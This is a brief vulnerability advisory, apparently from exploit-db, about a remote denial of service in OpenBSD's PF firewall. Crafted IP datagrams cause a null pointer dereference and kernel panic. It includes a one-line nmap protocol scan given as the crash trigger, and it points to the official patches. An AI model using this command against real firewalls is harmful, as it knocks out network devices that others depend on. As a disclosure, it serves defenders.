-- END --

OpenBSDs PF firewall in OpenBSD 4.3 up to OpenBSD-current is prone to a 
remote Denial of Service during a null pointer dereference in relation with
special crafted IP datagrams. If the firewall handles such a packet the kernel
panics.


Steps to reproduce:

If you are behind a OpenBSD firewall this nmap scan should trigger the problem
and crash your firewall device:

nmap -sO $some_host_so_that_the_firewall_handles_the_packets

For more informations please do read the patch issued by OpenBSD.


Patches and Workaround:

Patches are provided for OpenBSD 4.3, 4.4, 4.5 (upcoming, release 1st of may)
and OpenBSD-current (via CVS only) and are avaiable at the errata website.
The developers provide hints for a workaround at their errata website too.



Kind regards,
Rembrandt

# milw0rm.com [2009-04-13] URL: https://www.exploit-db.com/exploits/8406